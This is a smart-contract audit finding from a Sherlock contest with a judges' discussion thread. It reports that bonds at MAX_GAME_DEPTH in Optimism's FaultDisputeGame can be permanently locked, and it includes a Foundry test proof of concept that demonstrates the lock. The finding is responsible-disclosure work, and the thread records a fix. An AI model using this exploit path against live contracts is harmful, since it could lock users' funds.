CodeWasp - Bonds at `MAX_GAME_DEPTH`` can be irrevocably locked

[sherlock-admin2]

CodeWasp

high

Bonds at `MAX_GAME_DEPTH`` can be irrevocably locked

Summary

Scenarios are possible, when the FaultDisputeGame as a whole resolves, but claims at MAX_GAME_DEPTH remain unresolved. As a result, all bonds associated with these unresolved claims become permanently locked.

Vulnerability Detail

When the game DAG is extended with moves up to the last level (at MAX_GAME_DEPTH), and the claim at this level is countered by a step, the parent of the last-but-one claim is labeled as countered, but the last claim remains unresolved. As a result, it becomes possible to resolve all claims, excluding the claims at MAX_GAME_DEPTH, as well as to resolve the game as a whole, while the most deep claims remain unresolved.

As the associated bonds are unlocked only when the claim is resolved, and it's not possible to resolve the claim when the whole game is resolved, the bonds associated with the most deep claims will become permanently locked.

The secondary vulnerability is associated with calculations of the clock duration. When grandparent clock is shifted, the clock of the deepest claim becomes shifted in such a way that it is not possible to resolve it before the whole game is resolved. Combined with the previous, there is not time period when the most deep claim may be resolved, leading to guaranteed locking of user funds, as the below coded PoC demonstrates.

Impact

Permanent locking of user funds in unresolvable claims.

Coded PoC

The below PoC is a slight adaptation of the test test_resolve_bondPayoutsSeveralActors_succeeds. Copy-paste the PoC after this test, and execute with forge test -vvvv --match-test test_exploit_lockFundsAtMaxGameDepth. As can be seen, in case of a single unresolvable claim the amount of permanently locked funds is 39.99 Eth.

    function test_exploit_lockFundsAtMaxGameDepth() public {
        // Give the test contract and bob some ether
        uint256 bal = 1000 ether;
        address bob = address(0xb0b);
        vm.deal(address(this), bal);
        vm.deal(bob, bal);

        // Make claims all the way down the tree, trading off between bob and the test contract.
        uint256 curBond = _getRequiredBond(0);
        uint256 thisBonded = curBond;
        gameProxy.attack{ value: curBond }(0, _dummyClaim());

        curBond = _getRequiredBond(1);
        uint256 bobBonded = curBond;
        vm.prank(bob);
        gameProxy.attack{ value: curBond }(1, _dummyClaim());

        curBond = _getRequiredBond(2);
        thisBonded += curBond;
        gameProxy.attack{ value: curBond }(2, _dummyClaim());

        curBond = _getRequiredBond(3);
        bobBonded += curBond;
        vm.prank(bob);
        gameProxy.attack{ value: curBond }(3, _dummyClaim());

        curBond = _getRequiredBond(4);
        thisBonded += curBond;
        gameProxy.attack{ value: curBond }(4, _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC));

        curBond = _getRequiredBond(5);
        bobBonded += curBond;
        vm.prank(bob);
        gameProxy.attack{ value: curBond }(5, _dummyClaim());

        // The bond at MAX_GAME_DEPTH-1 is with a delay
        vm.warp(block.timestamp + 12 hours);
        curBond = _getRequiredBond(6);
        thisBonded += curBond;
        gameProxy.attack{ value: curBond }(6, _dummyClaim());

        // The bond at MAX_GAME_DEPTH is with a delay
        vm.warp(block.timestamp + 12 hours);
        curBond = _getRequiredBond(7);
        bobBonded += curBond;
        vm.prank(bob);
        gameProxy.attack{ value: curBond }(7, _dummyClaim());

        gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);
        gameProxy.step(8, true, absolutePrestateData, hex"");

        // Ensure that the step successfully countered the leaf claim.
        (, address counteredBy,,,,,) = gameProxy.claimData(8);
        assertEq(counteredBy, address(this));

        // Ensure we bonded the correct amounts
        assertEq(address(this).balance, bal - thisBonded);
        assertEq(bob.balance, bal - bobBonded);
        assertEq(address(gameProxy).balance, 0);
        assertEq(delayedWeth.balanceOf(address(gameProxy)), thisBonded + bobBonded);

        vm.warp(block.timestamp + 2 days + 12 hours + 1 seconds);

        // The resolution of the last claim is not possible, because clock has not expired yet
        // Expect ClockNotExpired
        (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, gameProxy.claimDataLen()-1));
        assertFalse(success);

        // Resolve all claims, EXCEPT THE LAST ONE
        for (uint256 i = gameProxy.claimDataLen()-1; i > 0; i--) {
            (success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, (i - 1)));
            assertTrue(success);
        }
        // Also resolve the whole game. Notice that the last claim stays unresolved
        gameProxy.resolve();

        // The resolution of the last claim is not possible anymore, as the game is resolved
        // Expect GameNotInProgress
        (success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, gameProxy.claimDataLen()-1));
        assertFalse(success);

        // Wait for the withdrawal delay
        vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

        // Claim credits        
        gameProxy.claimCredit(address(this));

        // Bob's claim should revert since it's value is 0
        vm.expectRevert(NoCreditToClaim.selector);
        gameProxy.claimCredit(bob);

        // Bob's balance is correct
        assertEq(bob.balance, bal - bobBonded);
        // This balance is not correct...
        assertEq(address(this).balance, bal + bobBonded - 39999999800000000000);
        // because part of it is irrevocably locked in the game.
        assertEq(delayedWeth.balanceOf(address(gameProxy)), 39999999800000000000);
    }

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L217-L219

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L262-L280

Tool used

Manual Review; Foundry

Recommendation

We recommend to fix the step function, in that when updating the parent claim as countered, it should also resolve the current claim. We further recommend to redesign the clock computations when grandparent clocks are involved.

Duplicate of #164

[nevillehuang]

request poc

LSW comments:

it doesn't mark the parent as invalid, it's just the variable name called parent. It resolved the MAX_DEPTH game

[sherlock-admin2]

PoC requested from @CodeWasp

Requests remaining: 10

[andrey-kuprianov]

I don't quite understand the request... There is already a coded PoC included in the submission. Could you please clarify?

[andrey-kuprianov]

I was trying to decipher this:

LSW comments:

it doesn't mark the parent as invalid, it's just the variable name called parent. It resolved the MAX_DEPTH game

It is difficult to understand what's being meant; my current understanding of the above is that it's two separate assertions:

1. parent is just a variable, so updating it has no effect
2. The claim at MAX_GAME_DEPTH is being correctly resolved

I will address these two assertions individually.

parent is just a variable, so updating it has no effect

As pointed in the finding the parent is updated here:

        // Set the parent claim as countered. We do not need to append a new claim to the game;
        // instead, we can just set the existing parent as countered.
        parent.counteredBy = msg.sender;

and is defined previously here:

        ClaimData storage parent = claimData[_claimIndex];

As it's storage, it's not simply a local variable, it's a pointer, so the storage is updated, and the claim at MAX_GAME_DEPTH is being marked as countered permanently.

The claim at MAX_GAME_DEPTH is being correctly resolved

As pointed above, the claim at MAX_GAME_DEPTH is being marked as countered. It was not resolved, because for correctly resolving it the resolveClaim() should be called, which in particular distributes the bonds; this has not been done. Moreover, as the finding (and the coded PoC) further demonstrates, there is no time point where resolveClaim() can be called without reverting, and the game as a whole (incorrectly) resolves, with the claim at MAX_GAME_DEPTH staying unresolved.

I hope this sufficiently answers the comment by LSW. If my understanding of it was incorrect, please let me know: I am ready to provide further input.

[andrey-kuprianov]

@nevillehuang I've noticed that this issue was marked as a duplicate of #218, with which it has nothing in common, and closed; could you please clarify why? Please notice that the coded PoC provided with this issue is valid, which can be easily verified by running it.

[nevillehuang]

@smartcontracts Is this related to and a potential duplicate of #164?

[trust1995]

parent is just a variable, so updating it has no effect

As pointed in the finding the parent is updated here:

        // Set the parent claim as countered. We do not need to append a new claim to the game;
        // instead, we can just set the existing parent as countered.
        parent.counteredBy = msg.sender;

and is defined previously here:

        ClaimData storage parent = claimData[_claimIndex];

In your submission, you stated the parent of the last-but-one claim is labeled as countered, but the last claim remains unresolved.. But what is being countered is the last claim, hence the confusion.

The claim at MAX_GAME_DEPTH is being correctly resolved

As pointed above, the claim at MAX_GAME_DEPTH is being marked as countered. It was not resolved, because for correctly resolving it the resolveClaim() should be called, which in particular distributes the bonds; this has not been done. Moreover, as the finding (and the coded PoC) further demonstrates, there is no time point where resolveClaim() can be called without reverting, and the game as a whole (incorrectly) resolves, with the claim at MAX_GAME_DEPTH staying unresolved.

My intended meaning was that the game at MAX_GAME_DEPTH is being countered correctly, and hence can be resolved correctly. It is true that due to the issue at #164 , the leaf can remain unresolved. If that was your intention, which now seems to be so, the issue is a clear dup.

[andrey-kuprianov]

I think you are right about this being a duplicate of #164. The secondary vulnerability that I describe, and which leads to the non-existence of the time period when the claim can be resolved is separate though. This part seems to be a duplicate of #36, which is in turn a dup of #8. Though my articulation of that aspect in this finding is not precise enough: I wanted to create a separate finding, but was short on time. I leave it to the judge to decide.

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits: https://github.com/ethereum-optimism/optimism/pull/10182